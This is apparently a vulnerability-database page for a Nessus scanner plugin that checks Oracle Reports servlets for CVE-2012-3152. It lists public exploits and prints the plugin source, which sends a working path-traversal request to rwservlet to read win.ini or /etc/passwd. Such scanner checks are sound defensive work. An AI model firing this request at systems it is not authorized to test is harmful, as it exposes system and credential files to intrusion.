Oracle Reports Servlet Remote File Access - Nessus

Medium Plugin ID: 73119

This page contains detailed information about the Oracle Reports Servlet Remote File Access Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Table Of Contents

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Plugin Overview
Vulnerability Information

Synopsis
Description
Solution

Public Exploits
Risk Information
Plugin Source
How to Run
References
Version

Plugin Overview

ID: 73119
Name: Oracle Reports Servlet Remote File Access
Filename: oracle_reports_file_access.nasl
Vulnerability Published: 2012-10-16
This Plugin Published: 2014-03-20
Last Modification Time: 2022-04-11
Plugin Version: 1.14
Plugin Type: remote
Plugin Family: CGI abuses
Dependencies: oracle_reports_detect.nbin
Required KB Items [?]: www/oracle_reports

Vulnerability Information

Severity: Medium
Vulnerability Published: 2012-10-16
Patch Published: 2012-10-16
CVE [?]: CVE-2012-3152
CPE [?]: cpe:/a:oracle:fusion_middleware

Synopsis

The remote web server hosts a web application that has a file access vulnerability.

Description

Nessus was able to exploit a file access vulnerability in the Oracle Reports servlet and retrieve to contents of a file. A remote attacker could use this vulnerability to read or write arbitrary files on the system, ultimately leading to remote code execution.

Solution

Apply the appropriate patch per the vendor's advisory.

Public Exploits

Target Network Port(s): 8888
Target Asset(s): Services/www
Exploit Available: True (Metasploit Framework, Exploit-DB, GitHub, Core Impact)
Exploit Ease: No exploit is required

Here's the list of publicly known exploits and PoCs for verifying the Oracle Reports Servlet Remote File Access vulnerability:

Metasploit: exploit/multi/http/oracle_reports_rce
[Oracle Forms and Reports Remote Code Execution]
Exploit-DB: exploits/jsp/remote/31253.rb
[EDB-31253: Oracle Forms and Reports 11.1 - Arbitrary Code Execution]
Exploit-DB: exploits/windows/remote/31737.rb
[EDB-31737: Oracle Forms and Reports - Remote Code Execution (Metasploit)]
GitHub: https://github.com/Mekanismen/pwnacle-fusion
[CVE-2012-3152: Automated exploit for CVE-2012-3153 / CVE-2012-3152]

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information

CVSS Score Source [?]: CVE-2012-3152
CVSS V2 Vector: AV:N/AC:L/Au:N/C:P/I:P/A:N/E:H/RL:OF/RC:C

CVSS Base Score:	6.4 (Medium)
Impact Subscore:	4.9
Exploitability Subscore:	10.0
CVSS Temporal Score:	5.6 (Medium)
CVSS Environmental Score:	NA (None)
Modified Impact Subscore:	NA
Overall CVSS Score:	5.6 (Medium)

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Plugin Source

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(73119);
  script_version("1.14");
  script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11");

  script_cve_id("CVE-2012-3152");
  script_bugtraq_id(55955);
  script_xref(name:"EDB-ID", value:"31253");
  script_xref(name:"CISA-KNOWN-EXPLOITED", value:"2022/05/03");

  script_name(english:"Oracle Reports Servlet Remote File Access");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server hosts a web application that has a file access
vulnerability.");
  script_set_attribute(attribute:"description", value:
"Nessus was able to exploit a file access vulnerability in the Oracle
Reports servlet and retrieve to contents of a file.  A remote attacker
could use this vulnerability to read or write arbitrary files on the
system, ultimately leading to remote code execution.");
  # http://blog.netinfiltration.com/2013/11/03/oracle-reports-cve-2012-3152-and-cve-2012-3153/
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?c969a07f");
  # https://www.oracle.com/technetwork/topics/security/cpuoct2012-1515893.html
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?87547c81");
  script_set_attribute(attribute:"solution", value:
"Apply the appropriate patch per the vendor's advisory.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:N");
  script_set_cvss_temporal_vector("CVSS2#E:H/RL:OF/RC:C");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2012-3152");

  script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploit_framework_core", value:"true");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'Oracle Forms and Reports Remote Code Execution');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2012/10/16");
  script_set_attribute(attribute:"patch_publication_date", value:"2012/10/16");
  script_set_attribute(attribute:"plugin_publication_date", value:"2014/03/20");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:oracle:fusion_middleware");
  script_set_attribute(attribute:"thorough_tests", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2014-2022 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("oracle_reports_detect.nbin");
  script_require_keys("www/oracle_reports");
  script_require_ports("Services/www", 8888);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("webapp_func.inc");
include("data_protection.inc");

appname = "Oracle Reports";

port = get_http_port(default:8888);

install = get_install_from_kb(
  appname:'oracle_reports',
  port:port,
  exit_on_fail:TRUE
);

vuln_script = install['dir'] + '/rwservlet';

traversal = mult_str(str:"../", nb:15);

file_list = make_list(traversal + "windows/win.ini",
                      traversal + "winnt/win.ini",
                      "c:/windows/win.ini",
                      "c:/winnt/win.ini",
                      "/etc/passwd");

exploit_request = NULL;
exploit_response = NULL;

foreach file (file_list)
{
  exploit = vuln_script + "?destype=cache&desformat=html&JOBTYPE=rwurl&URLPARAMETER=%22file:///" + file + "%22";
  res = http_send_recv3(method:"GET",
                        item:exploit,
                        port:port,
                        exit_on_fail:TRUE);

  if (
    # windows platforms
    (
      "win.ini" >< file &&
      (
       "[Mail]" >< res[2] ||
       "[fonts]" >< res[2] ||
       "; for 16-bit app support" >< res[2]
      )
    ) ||
    # *nix
    (
      "passwd" >< file &&
      res[2] =~ " root:.*:0:[01]:"
    )
  )
  {
    exploit_request = exploit;
    exploit_response = chomp(res[2]);
    break;
  }
}

if (!isnull(exploit_request))
{
  report = NULL;
  filename = NULL;
  output = NULL;
  request = NULL;
  exploit_request = build_url(port:port, qs:exploit_request);

  if (report_verbosity > 0)
  {
    report =
      '\n' + 'Nessus was able to exploit the vulnerability with the following' +
      '\n' + 'request :' +
      '\n' +
      '\n' + '  ' + exploit_request + '\n';

    if (report_verbosity > 1)
    {
      output = data_protection::redact_etc_passwd(output:exploit_response);
      filename = "win.ini";
      if ("passwd" >< file) filename = "/etc/passwd";
      request = make_list(req);
    }
  }

  security_report_v4(port:port,
                     extra:report,
                     severity:SECURITY_WARNING,
                     request:request,
                     file:filename,
                     output:output);

  exit(0);
}
else audit(AUDIT_WEB_APP_NOT_AFFECTED, appname, build_url(port:port, qs:'/'));

The latest version of this script can be found in these locations depending on your platform:

Linux / Unix:
/opt/nessus/lib/nessus/plugins/oracle_reports_file_access.nasl
Windows:
C:\ProgramData\Tenable\Nessus\nessus\plugins\oracle_reports_file_access.nasl
Mac OS X:
/Library/Nessus/run/lib/nessus/plugins/oracle_reports_file_access.nasl

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How to Run

Here is how to run the Oracle Reports Servlet Remote File Access as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

Click to start a New Scan.
Select Advanced Scan.
Navigate to the Plugins tab.
On the top right corner click to Disable All plugins.
On the left side table select CGI abuses plugin family.
On the right side table select Oracle Reports Servlet Remote File Access plugin ID 73119.
Specify the target on the Settings tab and click to Save the scan.
Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl oracle_reports_file_access.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a oracle_reports_file_access.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - oracle_reports_file_access.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state oracle_reports_file_access.nasl -t <IP/HOST>

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References

BID | SecurityFocus Bugtraq ID:

55955

See also:

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Version

This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file oracle_reports_file_access.nasl version 1.14. For more plugins, visit the Nessus Plugin Library.

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Oracle Reports Servlet Remote File Access - Nessus

Plugin Overview

Vulnerability Information

Synopsis

Description

Solution

Public Exploits

Risk Information

Plugin Source

How to Run

References

Version

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